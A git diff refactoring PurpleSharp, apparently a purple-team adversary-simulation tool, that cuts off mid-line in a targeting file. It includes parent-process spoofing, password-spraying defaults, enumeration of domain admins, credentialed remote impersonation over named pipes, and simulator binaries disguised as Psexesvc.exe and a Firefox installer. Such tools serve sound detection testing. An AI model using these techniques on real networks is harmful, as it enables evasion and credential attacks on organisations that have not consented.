diff --git a/PurpleSharp/Lib/Json.cs b/PurpleSharp/Lib/Json.cs index 8522331..d5d6467 100644 --- a/PurpleSharp/Lib/Json.cs +++ b/PurpleSharp/Lib/Json.cs @@ -5,113 +5,6 @@ namespace PurpleSharp.Lib { - // Input classes - public class SimulationExercise - { - public string domain { get; set; } - public string username { get; set; } - public string dc { get; set; } - public int sleep { get; set; } - public string type { get; set; } - public List playbooks { get; set; } - } - - - public class SimulationPlaybook - { - public string name { get; set; } - public string scoutfpath { get; set; } - public string simrpath { get; set; } - public int pbsleep { get; set; } - public int tsleep { get; set; } - public string host { get; set; } - public List tasks { get; set; } - } - - public class PlaybookTask - { - public string technique { get; set; } - public int variation { get; set; } = 1; - } - - - // Result classes - public class SimulationExerciseResult - { - public List playbookresults { get; set; } - } - - public class SimulationPlaybookResult - { - public string name { get; set; } - public string host { get; set; } - public string user { get; set; } - public string simprocess { get; set; } - public int simprocessid { get; set; } - - public List taskresults { get; set; } - } - - public class PlaybookTaskResult - { - public string timestamp { get; set; } - public string technique { get; set; } - //public string host { get; set; } - public bool success { get; set; } - public List debugmsgs { get; set; } - - } - public class TaskDebugMsg - { - public string msg { get; set; } - } - - //Mitre ATT&CK - - public class NavigatorLayer - { - public string name { get; set; } - public string version { get; set; } - public string domain { get; set; } - public string description { get; set; } - public bool hideDisabled { get; set; } - - public NavigatorFilters filters { get; set; } - public List techniques { get; set; } - - - //public Gradient gradient { get; set; } - //public object[] legendItems { get; set; } - //public object[] metadata { get; set; } - //public bool showTacticRowBackground { get; set; } - //public string tacticRowBackground { get; set; } - //public bool selectTechniquesAcrossTactics { get; set; } - } - - public class NavigatorFilters - { - public string[] stages { get; set; } - public string[] platforms { get; set; } - } - - public class NavigatorGradient - { - public string[] colors { get; set; } - public int minValue { get; set; } - public int maxValue { get; set; } - } - - public class NavigatorTechnique - { - public string techniqueID { get; set; } - //public string tactic { get; set; } - public string color { get; set; } - //public string comment { get; set; } - public int score { get; set; } - public bool enabled { get; set; } - //public object[] metadata { get; set; } - } - class Json { @@ -128,60 +21,6 @@ public static SimulationExercise ReadSimulationPlaybook(string jsoninput) return null; } } - - /* - public static PlaybookTaskResult GetTaskResult(string results) - { - - PlaybookTaskResult taskresult = new PlaybookTaskResult(); - List debugmsgs = new List(); - - - string[] lines = results.Split(new string[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries); - - foreach (string line in lines) - { - if (line.Contains("Starting")) - { - taskresult.timestamp = line.Substring(0, line.IndexOf('[')).Trim(); - - string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Starting ", "").Replace("Simulation on ", "").Trim(); - - taskresult.technique = strip.Split(' ')[0]; - //taskresult.host = strip.Split(' ')[1]; - } - else if (line.Contains("Simulator")) - { - //string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Simulator running from ", "").Replace("with PID:", "").Trim(); - //string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Simulator running from ", "").Replace("with PID:", "").Replace("as ", "").Trim(); - string strip = line.Substring(line.LastIndexOf("]") + 1).Replace("Simulator running from ", "").Replace("with PID:", "|").Replace("as ", "|").Trim(); - - //taskresult.simprocess = strip.Split('|')[0]; - //taskresult.simprocessid = Int32.Parse(strip.Split('|')[1]); - //taskresult.user = strip.Split('|')[2]; - } - else if (line.Contains("Simulation Finished")) - { - taskresult.success = true; - } - else if (line.Contains("Simulation Failed")) - { - taskresult.success = false; - } - else - { - TaskDebugMsg debugmsg = new TaskDebugMsg(); - debugmsg.msg = line; - debugmsgs.Add(debugmsg); - } - //Console.WriteLine(line.Substring(line.LastIndexOf(']') + 1)); - } - taskresult.debugmsgs = debugmsgs; - return taskresult; - //File.WriteAllText("result.json", JsonConvert.SerializeObject(taskresult)); - } - */ - public static SimulationExerciseResult GetSimulationExerciseResult(string results) { SimulationExerciseResult simulationresult = new SimulationExerciseResult(); @@ -468,14 +307,14 @@ public static SimulationExercise ConvertNavigatorToSimulationExercise(NavigatorL { SimulationPlaybook playbook = new SimulationPlaybook(); playbook.name = layer.name; - playbook.host = "random"; - playbook.scoutfpath = @"C:\Windows\Psexesvc.exe"; - playbook.simrpath = @"\Downloads\Firefox_Installer.exe"; + playbook.remote_host = "random"; + playbook.scout_full_path = @"C:\Windows\Psexesvc.exe"; + playbook.simulator_relative_path = @"\Downloads\Firefox_Installer.exe"; List tasks = new List(); PlaybookTask task = new PlaybookTask(); - task.technique = technique.techniqueID; + task.technique_id = technique.techniqueID; tasks.Add(task); playbook.tasks = tasks; playbooks.Add(playbook); diff --git a/PurpleSharp/Lib/Ldap.cs b/PurpleSharp/Lib/Ldap.cs index fa39ce4..14b6350 100644 --- a/PurpleSharp/Lib/Ldap.cs +++ b/PurpleSharp/Lib/Ldap.cs @@ -15,12 +15,31 @@ public class User public string UserName { get; set; } public string DisplayName { get; set; } public bool isMapped { get; set; } + + public User(string username) + { + UserName = username; + } + public User() + { + } } public class Computer { public string ComputerName { get; set; } public string Fqdn { get; set; } public string IPv4 { get; set; } + + public Computer(string hostname, string ip) + { + ComputerName = hostname; + IPv4 = ip; + } + public Computer() + { + + } + } public class Ldap @@ -70,7 +89,7 @@ public static List GetADUsers(int count, Lib.Logger logger, string dc = "" SearchResult result; if (Enabled) logger.TimestampInfo("Querying for active domain users with badPwdCount <= 3.."); - else logger.TimestampInfo(" Querying for disabled domain users .."); + else logger.TimestampInfo("Querying for disabled domain users .."); SearchResultCollection resultCol = search.FindAll(); @@ -101,7 +120,7 @@ public static List GetADUsers(int count, Lib.Logger logger, string dc = "" } } - public static List GetADAdmins(int count) + public static List GetADAdmins(int count, Lib.Logger logger) { DirectoryEntry rootDSE = new DirectoryEntry("LDAP://RootDSE"); @@ -115,7 +134,7 @@ public static List GetADAdmins(int count) search.Filter = "(&(objectCategory=person)(objectClass=user)(adminCount=1)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"; search.SizeLimit = count * 5; SearchResult result; - Console.WriteLine("[*] Querying for active administrative users (adminCount=1) .."); + logger.TimestampInfo("Querying for active administrative users (adminCount=1) .."); SearchResultCollection resultCol = search.FindAll(); if (resultCol != null) { @@ -137,11 +156,11 @@ public static List GetADAdmins(int count) } - public static List GetDomainAdmins() + public static List GetDomainAdmins(Lib.Logger logger) { List lstDas = new List(); PrincipalContext PC = new PrincipalContext(ContextType.Domain); - Console.WriteLine("[*] Querying for active Domain Admins .."); + logger.TimestampInfo("Querying for active Domain Admins .."); GroupPrincipal GP = GroupPrincipal.FindByIdentity(PC, "Domain Admins"); foreach (UserPrincipal member in GP.Members) { diff --git a/PurpleSharp/Lib/Models.cs b/PurpleSharp/Lib/Models.cs new file mode 100644 index 0000000..1a83857 --- /dev/null +++ b/PurpleSharp/Lib/Models.cs @@ -0,0 +1,280 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Management.Automation.Host; +using System.Runtime.CompilerServices; +using System.Text; +using System.Threading.Tasks; + +namespace PurpleSharp.Lib +{ + // Command Line Parameter Model + public class CommandlineParameters + { + public string scout_full_path; + + public string simulator_relative_path; + + public string remote_host; + + public string remote_user; + + public string remote_password; + + public string domain; + + public string techniques; + + public string domain_controller; + + public int variation; + + public int playbook_sleep; + + public int task_sleep; + + public bool cleanup; + + public bool opsec; + + public bool verbose; + + public string scout_namepipe; + + public string simulator_namedpipe; + + public string log_filename; + + public string scout_action; + + public CommandlineParameters() + { + + } + public CommandlineParameters(string scout_path, string simulator_path, string rhost, string ruser, string rpwd, string d, string techs, string dc, string sc_action, string scout_np, string simulator_np, string log, int var, int pbsleep, int tsleep, bool cln, bool ops, bool verb) + { + scout_full_path = scout_path; + simulator_relative_path = simulator_path; + remote_host = rhost; + remote_user = ruser; + remote_password = rpwd; + domain = d; + techniques = techs; + domain_controller = dc; + scout_action = sc_action; + scout_namepipe = scout_np; + simulator_namedpipe = simulator_np; + log_filename = log; + variation = var; + playbook_sleep = pbsleep; + task_sleep = tsleep; + cleanup = cln; + opsec = ops; + verbose = verb; + } + } + + // Input classes + public class SimulationExercise + { + public string domain { get; set; } + public string username { get; set; } + public string password { get; set; } + public string domain_controller { get; set; } + public int sleep { get; set; } + public string type { get; set; } + public List playbooks { get; set; } + } + public class SimulationPlaybook + { + public string name { get; set; } + public string description { get; set; } + public string scout_full_path { get; set; } + public string simulator_relative_path { get; set; } + public int playbook_sleep { get; set; } + public string remote_host { get; set; } + public string opsec { get; set; } = "ppid"; + public bool enabled { get; set; } = true; + public List tasks { get; set; } + public SimulationPlaybook(int pbsleep) + { + playbook_sleep = pbsleep; + + } + public SimulationPlaybook() + { + + } + } + public class PlaybookTask + { + // Generic variables + public string technique_id { get; set; } + public int variation { get; set; } = 1; + public int task_sleep { get; set; } = 0; + public bool cleanup { get; set; } = true; + + // Password Spraying T1110.003 + public string protocol { get; set; } = "Kerberos"; + public string spray_password { get; set; } = "Passw0rd1"; + + // User target variables + public int user_target_type { get; set; } = 1; + public int user_target_total { get; set; } = 5; + public string[] user_targets { get; set; } + + // Host target variables + public int host_target_type { get; set; } = 1; + public int host_target_total { get; set; } = 5; + public string[] host_targets { get; set; } + + // Group Domain Enumeration T1069.002 + public string[] groups { get; set; } = { }; + + // Network Service Scanning + public int[] ports { get; set; } = { 135, 139, 443, 445, 1433, 3306, 3389 }; + + public PlaybookTask() + { + } + + public PlaybookTask(string tech, int var, int t_sleep, bool cl = true) + { + technique_id = tech; + variation = var; + task_sleep = t_sleep; + cleanup = cleanup; + } + } + + // Result classes + public class SimulationExerciseResult + { + public List playbookresults { get; set; } + } + + public class SimulationPlaybookResult + { + public string name { get; set; } + public string host { get; set; } + public string user { get; set; } + public string simprocess { get; set; } + public int simprocessid { get; set; } + + public List taskresults { get; set; } + } + public class PlaybookTaskResult + { + public string timestamp { get; set; } + public string technique { get; set; } + //public string host { get; set; } + public bool success { get; set; } + public List debugmsgs { get; set; } + + } + public class TaskDebugMsg + { + public string msg { get; set; } + } + + // ATT&CK Classes + public class NavigatorLayer + { + public string name { get; set; } + public string version { get; set; } + public string domain { get; set; } + public string description { get; set; } + public bool hideDisabled { get; set; } + + public NavigatorFilters filters { get; set; } + public List techniques { get; set; } + + + //public Gradient gradient { get; set; } + //public object[] legendItems { get; set; } + //public object[] metadata { get; set; } + //public bool showTacticRowBackground { get; set; } + //public string tacticRowBackground { get; set; } + //public bool selectTechniquesAcrossTactics { get; set; } + } + public class NavigatorFilters + { + public string[] stages { get; set; } + public string[] platforms { get; set; } + } + public class NavigatorGradient + { + public string[] colors { get; set; } + public int minValue { get; set; } + public int maxValue { get; set; } + } + public class NavigatorTechnique + { + public string techniqueID { get; set; } + //public string tactic { get; set; } + public string color { get; set; } + //public string comment { get; set; } + public int score { get; set; } + public bool enabled { get; set; } + //public object[] metadata { get; set; } + } + + // Named Pipe Comms Classes + public class SimulationRequest + { + public string header; + + public string recon_type; + + public SimulationPlaybook playbook; + + public SimulationRequest(string hd, string re_type = "", SimulationPlaybook pb = null) + { + header = hd; + recon_type = re_type; + playbook = pb; + } + } + public class SimulationResponse + { + public string header; + + public ReconResponse recon_response; + + public ScoutResponse scout_response; + + public SimulationResponse(string stat, ReconResponse recon_resp = null, ScoutResponse sc_resp = null) + { + header = stat; + recon_response = recon_resp; + scout_response = sc_resp; + } + } + public class ReconResponse + { + public string user; + + public string process; + + public string process_id; + + public string process_integrity; + public ReconResponse(string u, string proc, string proc_id, string proc_int) + { + user = u; + process = proc; + process_id = proc_id; + process_integrity = proc_int; + } + } + + public class ScoutResponse + { + public string results; + public ScoutResponse(string res) + { + results = res; + } + + } +} diff --git a/PurpleSharp/Lib/NamedPipes.cs b/PurpleSharp/Lib/NamedPipes.cs index e3f2859..9972dc1 100644 --- a/PurpleSharp/Lib/NamedPipes.cs +++ b/PurpleSharp/Lib/NamedPipes.cs @@ -7,199 +7,154 @@ using System.Text; using System.Security.Principal; using System.Security.AccessControl; +using Newtonsoft.Json; +using System.Threading; namespace PurpleSharp.Lib { class NamedPipes { - - //Based on https://github.com/malcomvetter/NamedPipes - public static void RunScoutService(string scout_np, string simulator_np, string log) + public static void RunScoutServiceSerialized(string scout_np, string simulator_np, string log) { + //Based on https://github.com/malcomvetter/NamedPipes + string currentPath = AppDomain.CurrentDomain.BaseDirectory; Logger logger = new Logger(currentPath + log); bool running = true; bool privileged = false; - string technique, opsec, simpfath, simrpath, duser, user, simbinary, cleanup; - technique = opsec = simpfath = simrpath = duser = user = simbinary = cleanup = ""; + string duser, simulator_full_path, user, simulator_binary; + duser = simulator_full_path = user = simulator_binary = ""; Process parentprocess = null; - int pbsleep, tsleep, variation; - pbsleep = tsleep = 0; - variation = 1; - System.Threading.Thread.Sleep(1500); + SimulationPlaybook PlaybookForSimulator = null; + Thread.Sleep(1500); try { using (var pipeServer = new NamedPipeServerStream(scout_np, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message)) { - logger.TimestampInfo("Starting scout namedpipe service with PID:"+ Process.GetCurrentProcess().Id); + + logger.TimestampInfo("Starting scout namedpipe service with PID:" + Process.GetCurrentProcess().Id); while (running) { - var reader = new StreamReader(pipeServer); - var writer = new StreamWriter(pipeServer); - - //logger.TimestampInfo("Waiting for client connection..."); + SimulationResponse sim_response; + logger.TimestampInfo("Waiting for client connection..."); pipeServer.WaitForConnection(); - //logger.TimestampInfo("Client connected!"); - - var line = reader.ReadLine(); - + logger.TimestampInfo("Client connected."); + var messageBytes = ReadMessage(pipeServer); + var line = Encoding.UTF8.GetString(messageBytes); logger.TimestampInfo("Received from client: " + line); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); + ScoutResponse scout_response = null; - if (line.ToLower().Equals("syn")) - { - //logger.TimestampInfo("sending back to client: " + "SYN/ACK"); - writer.WriteLine("SYN/ACK"); - writer.Flush(); - } - else if (line.ToLower().Equals("auditpol")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); - writer.Flush(); - } - else if (line.ToLower().Equals("wef")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetWefSettings()))); - writer.Flush(); - } - else if (line.ToLower().Equals("pws")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetPwsLoggingSettings()))); - writer.Flush(); - } - else if (line.ToLower().Equals("ps")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetProcs()))); - writer.Flush(); - } - else if (line.ToLower().Equals("svcs")) + // Scout recon actions + if (sim_request.header.Equals("SCT")) { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetServices()))); - writer.Flush(); - } - else if (line.ToLower().Equals("cmdline")) - { - writer.WriteLine(System.Convert.ToBase64String(System.Text.ASCIIEncoding.ASCII.GetBytes(Recon.GetCmdlineAudittingSettings()))); - writer.Flush(); + logger.TimestampInfo("Received SCT"); + switch (sim_request.recon_type) + { + case "auditpol": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetAuditPolicy()))); + break; + case "wef": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetWefSettings()))); + break; + case "pws": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetPwsLoggingSettings()))); + break; + case "ps": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetProcs()))); + break; + case "svcs": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetServices()))); + break; + case "cmdline": + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(Recon.GetCmdlineAudittingSettings()))); + break; + case "all": + string results = Recon.GetAuditPolicy() + "\n" + Recon.GetWefSettings() + "\n" + Recon.GetPwsLoggingSettings()+"\n"+ Recon.GetProcs()+"\n"+ Recon.GetServices()+"\n"+ Recon.GetCmdlineAudittingSettings(); + scout_response = new ScoutResponse(Convert.ToBase64String(Encoding.ASCII.GetBytes(results))); + break; + default: + break; + } + sim_response = new SimulationResponse("SYN/ACK", null, scout_response); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object")); + running = false; + } - else if (line.ToLower().StartsWith("recon:")) + else if (sim_request.header.Equals("SYN")) { - string payload = ""; - if (line.Replace("recon:", "").Equals("privileged")) privileged = true; + logger.TimestampInfo("Received SYN"); + PlaybookForSimulator = sim_request.playbook; + ReconResponse recon_response; + if (sim_request.recon_type.Equals("privileged")) privileged = true; parentprocess = Recon.GetHostProcess(privileged); if (parentprocess != null && Recon.GetExplorer() != null) { duser = Recon.GetProcessOwnerWmi(Recon.GetExplorer()); + recon_response = new ReconResponse(duser, parentprocess.ProcessName, parentprocess.Id.ToString(), privileged.ToString()); user = duser.Split('\\')[1]; logger.TimestampInfo(String.Format("Recon identified {0} logged in. Process to Spoof: {1} PID: {2}", duser, parentprocess.ProcessName, parentprocess.Id)); - payload = String.Format("{0},{1},{2},{3}", duser, parentprocess.ProcessName, parentprocess.Id, privileged.ToString()); - } else { - payload = ",,,"; + recon_response = new ReconResponse("", "", "", ""); logger.TimestampInfo("Recon did not identify any logged users"); } - writer.WriteLine(payload); - writer.Flush(); - } - else if (line.ToLower().StartsWith("sc:")) - { - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("technique:")) - { - technique = line.Replace("technique:", ""); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("variation:")) - { - variation = Int32.Parse(line.Replace("variation:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("pbsleep:")) - { - pbsleep = Int32.Parse(line.Replace("pbsleep:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("tsleep:")) - { - tsleep = Int32.Parse(line.Replace("tsleep:", "")); - //logger.TimestampInfo("Got params from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("opsec:")) - { - opsec = line.Replace("opsec:", ""); - //logger.TimestampInfo("Got opsec technique from client"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("cleanup:")) - { - cleanup = line.Replace("cleanup:", ""); - writer.WriteLine("ACK"); - writer.Flush(); - } - else if (line.ToLower().StartsWith("simrpath:")) - { - simrpath = line.Replace("simrpath:", ""); - //logger.TimestampInfo("sending back to client: " + "ACK"); - //simpath = "C:\\Users\\" + loggeduser + "\\Downloads\\" + simbin; - simpfath = "C:\\Users\\" + user + "\\" + simrpath; - int index = simrpath.LastIndexOf(@"\"); - simbinary = simrpath.Substring(index + 1); - writer.WriteLine("ACK"); - writer.Flush(); + simulator_full_path = "C:\\Users\\" + user + "\\" + sim_request.playbook.simulator_relative_path; + int index = sim_request.playbook.simulator_relative_path.LastIndexOf(@"\"); + simulator_binary = sim_request.playbook.simulator_relative_path.Substring(index + 1); + + sim_response = new SimulationResponse("SYN/ACK", recon_response); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object")); + } - else if (line.Equals("act")) + else if (sim_request.header.Equals("ACT")) { - logger.TimestampInfo("Received act!"); - //logger.TimestampInfo("sending back to client: " + "ACK"); - writer.WriteLine("ACK"); - writer.Flush(); - - if (opsec.Equals("ppid")) + logger.TimestampInfo("Received ACT"); + if (PlaybookForSimulator.opsec.Equals("ppid")) { + logger.TimestampInfo("Using Parent Process Spoofing technique for Opsec"); logger.TimestampInfo("Spoofing " + parentprocess.ProcessName + " PID: " + parentprocess.Id.ToString()); - logger.TimestampInfo("Executing: " + simpfath + " /n"); + logger.TimestampInfo("Executing: " + simulator_full_path + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpath, simbin + " " + cmdline); //Launcher.SpoofParent(parentprocess.Id, simpfath, simrpath + " /s"); - Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /n"); + Launcher.SpoofParent(parentprocess.Id, simulator_full_path, simulator_binary + " /n"); //Launcher.SpoofParent(parentprocess.Id, simpfath, simbinary + " /s"); - System.Threading.Thread.Sleep(3000); - logger.TimestampInfo("Sending payload to Scout Aggent through namedpipe: " + "technique:" + technique + " pbsleep:" + pbsleep.ToString() + " tsleep:" + tsleep.ToString() + " cleanup:" + cleanup); - RunNoAuthClient(simulator_np, "technique:" + technique +" variation:"+ variation.ToString() + " pbsleep:" + pbsleep.ToString() + " tsleep:"+tsleep.ToString() + " cleanup:" + cleanup); - System.Threading.Thread.Sleep(2000); + //logger.TimestampInfo("Sending payload to Simulation Agent through namedpipe: " + "technique:" + s_payload.techniques + " pbsleep:" + s_payload.playbook_sleep + " tsleep:" + s_payload.task_sleep + " cleanup:" + s_payload.cleanup); + logger.TimestampInfo("Sending Simulation Playbook to Simulation Agent through namedpipe: " + PlaybookForSimulator.simulator_relative_path); + + byte[] bytes_sim_rqeuest = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(new SimulationRequest("ACK", "", PlaybookForSimulator))); + string result = NamedPipes.RunNoAuthClientSerialized(simulator_np, bytes_sim_rqeuest); + logger.TimestampInfo("Received back from Simulator " + result); } + + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo(String.Format("Sent SimulationResponse object 2")); + running = false; + } - else if (line.ToLower().Equals("quit")) + else if (sim_request.header.Equals("FIN")) { - logger.TimestampInfo("Received quit! Exitting namedpipe"); - //logger.TimestampInfo("sending back to client: " + "quit"); - writer.WriteLine("quit"); - writer.Flush(); + logger.TimestampInfo("Received a FIN command"); + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); running = false; } + pipeServer.Disconnect(); } } @@ -210,58 +165,66 @@ public static void RunScoutService(string scout_np, string simulator_np, string logger.TimestampInfo(ex.Message.ToString()); } } - public static string[] RunSimulationService(string npipe, string log) + private static byte[] ReadMessage(PipeStream pipe) { - string[] result = new string[5]; + byte[] buffer = new byte[1024]; + using (var ms = new MemoryStream()) + { + do + { + var readBytes = pipe.Read(buffer, 0, buffer.Length); + ms.Write(buffer, 0, readBytes); + } + while (!pipe.IsMessageComplete); + + return ms.ToArray(); + } + } + public static SimulationPlaybook RunSimulationServiceSerialized(string npipe, string log) + { + string currentPath = AppDomain.CurrentDomain.BaseDirectory; + Logger logger = new Logger(currentPath + log); + + SimulationPlaybook playbook = new SimulationPlaybook(); try { //https://helperbyte.com/questions/171742/how-to-connect-to-a-named-pipe-without-administrator-rights PipeSecurity ps = new PipeSecurity(); ps.SetAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.BuiltinUsersSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow)); - //logger.TimestampInfo("starting!"); - string technique, pbsleep, tsleep, cleanup, variation; + logger.TimestampInfo("starting Simulator!"); using (var pipeServer = new NamedPipeServerStream(npipe, PipeDirection.InOut, 1, PipeTransmissionMode.Message, PipeOptions.Asynchronous, 4028, 4028, ps)) - - { - var reader = new StreamReader(pipeServer); - var writer = new StreamWriter(pipeServer); + { + SimulationResponse sim_response; + logger.TimestampInfo("Waiting for client connection..."); pipeServer.WaitForConnection(); - var line = reader.ReadLine(); - - if (line.ToLower().StartsWith("technique:")) - { - string[] options = line.Split(' '); - technique = options[0].Replace("technique:", ""); - variation = options[1].Replace("variation:", ""); - pbsleep = options[2].Replace("pbsleep:", ""); - tsleep = options[3].Replace("tsleep:", ""); - cleanup = options[4].Replace("cleanup:", ""); - writer.WriteLine("ACK"); - writer.Flush(); + logger.TimestampInfo("Client connected."); + var messageBytes = ReadMessage(pipeServer); + var line = Encoding.UTF8.GetString(messageBytes); + logger.TimestampInfo("Received from client: " + line); + SimulationRequest sim_request = JsonConvert.DeserializeObject(line); - result[0] = technique; - result[1] = variation; - result[2] = pbsleep; - result[3] = tsleep; - result[4] = cleanup; - return result; - } + playbook = sim_request.playbook; + sim_response = new SimulationResponse("ACK"); + byte[] bytes_sim_response = Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(sim_response)); + pipeServer.Write(bytes_sim_response, 0, bytes_sim_response.Length); + logger.TimestampInfo("Replied to client: " + Encoding.UTF8.GetString(bytes_sim_response)); pipeServer.Disconnect(); + return playbook; } - return result; } - catch + catch(Exception ex) { - return result; + logger.TimestampInfo(ex.Message); + return playbook; } } - - //Based on https://github.com/malcomvetter/NamedPipes - public static string RunClient(string rhost, string domain, string ruser, string rpwd, string npipe, string request) + public static string RunClientSerialized(string rhost, string domain, string ruser, string rpwd, string npipe, byte[] serialized_object) { + //Based on https://github.com/malcomvetter/NamedPipes + using (new Impersonation(domain, ruser, rpwd)) { using (var pipeClient = new NamedPipeClientStream(rhost, npipe, PipeDirection.InOut)) @@ -270,16 +233,15 @@ public static string RunClient(string rhost, string domain, string ruser, string pipeClient.ReadMode = PipeTransmissionMode.Message; var reader = new StreamReader(pipeClient); - var writer = new StreamWriter(pipeClient); - writer.WriteLine(request); - writer.Flush(); - var result = reader.ReadLine(); - return (result.ToString()); + //var writer = new StreamWriter(pipeClient); + var writer2 = new BinaryWriter(pipeClient); + writer2.Write(serialized_object); + var restul1 = reader.ReadLine(); + return (restul1.ToString()); } } } - - public static string RunNoAuthClient(string npipe, string request) + public static string RunNoAuthClientSerialized(string npipe, byte[] serialized_object) { using (var pipeClient = new NamedPipeClientStream(".", npipe, PipeDirection.InOut)) { @@ -287,13 +249,14 @@ public static string RunNoAuthClient(string npipe, string request) pipeClient.ReadMode = PipeTransmissionMode.Message; var reader = new StreamReader(pipeClient); - var writer = new StreamWriter(pipeClient); - writer.WriteLine(request); - writer.Flush(); + var writer2 = new BinaryWriter(pipeClient); + writer2.Write(serialized_object); + //var writer = new StreamWriter(pipeClient); + //writer.WriteLine(request); + //writer.Flush(); var result = reader.ReadLine(); return (result.ToString()); } - } } } diff --git a/PurpleSharp/Lib/Targets.cs b/PurpleSharp/Lib/Targets.cs index c61849c..b9f464e 100644 --- a/PurpleSharp/Lib/Targets.cs +++ b/PurpleSharp/Lib/Targets.cs @@ -3,6 +3,7 @@ using System.DirectoryServices.AccountManagement; using System.Linq; using System.Net; +using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Text; using System.Threading.Tasks; @@ -12,7 +13,7 @@ namespace PurpleSharp.Lib public class Targets { - public static List GetNetworkNeighborTargets(int count) + public static List GetNetworkNeighborTargets(int count, Logger logger) { List targets = new List(); List neighbors = Lib.Networking.GetNeighbors(count); @@ -61,10 +62,10 @@ public static List GetDomainNeighborTargets(int count, Lib.Logger logg } - public static List GetDomainRandomTargets(int count, Lib.Logger logger) + public static List GetDomainRandomTargets(int count, Logger logger) { List targets = new List(); - Console.WriteLine("[*] Obtaining domain random targets ..."); + logger.TimestampInfo("Obtaining domain random targets ..."); targets = Ldap.GetADComputers(count, logger); return targets; @@ -113,58 +114,68 @@ public static List GetServerRangeTargets(int count) } - public static List GetRandomUsernames(int count) + public static List GetRandomUsernames(int count, Random random) { List users = new List(); - Console.WriteLine("[*] Generating random usernames ..."); for (int i = 0; i < count; i++ ) { - Random random = new Random(); string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; - - User nuser = new User(); - nuser.UserName = new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray()); ; + User nuser = new User(new string(Enumerable.Repeat(chars, 8).Select(s => s[random.Next(s.Length)]).ToArray())); users.Add(nuser); } return users; } - public static List GetUserTargets(int usertype, int nuser, Lib.Logger logger) + public static List GetUserTargets(PlaybookTask playbook_task, Logger logger) { + PrincipalContext context; + string dc; List targetusers = new List(); - PrincipalContext context = new PrincipalContext(ContextType.Domain); - string dc = context.ConnectedServer; - switch (usertype) + + switch (playbook_task.user_target_type) { case 1: - - logger.TimestampInfo("Targeting domain neighbor users"); - targetusers = Ldap.GetADUsers(nuser, logger, dc, true); + logger.TimestampInfo("Targeting playbook defined users"); + foreach (string user in playbook_task.user_targets) + { + User nuser = new User(user); + targetusers.Add(nuser); + } break; case 2: - logger.TimestampInfo("Targeting domain foreign users"); - targetusers = Ldap.GetADUsers(nuser, logger, "", true); + context = new PrincipalContext(ContextType.Domain); + dc = context.ConnectedServer; + logger.TimestampInfo("Targeting random domain users"); + targetusers = Ldap.GetADUsers(playbook_task.user_target_total, logger, dc, true); + logger.TimestampInfo(String.Format("Obtained {0} user records", targetusers.Count)); + break; case 3: - logger.TimestampInfo("Targeting disabled users"); - targetusers = Ldap.GetADUsers(nuser, logger, dc, false); + logger.TimestampInfo("Targeting randomly generated users"); + targetusers = 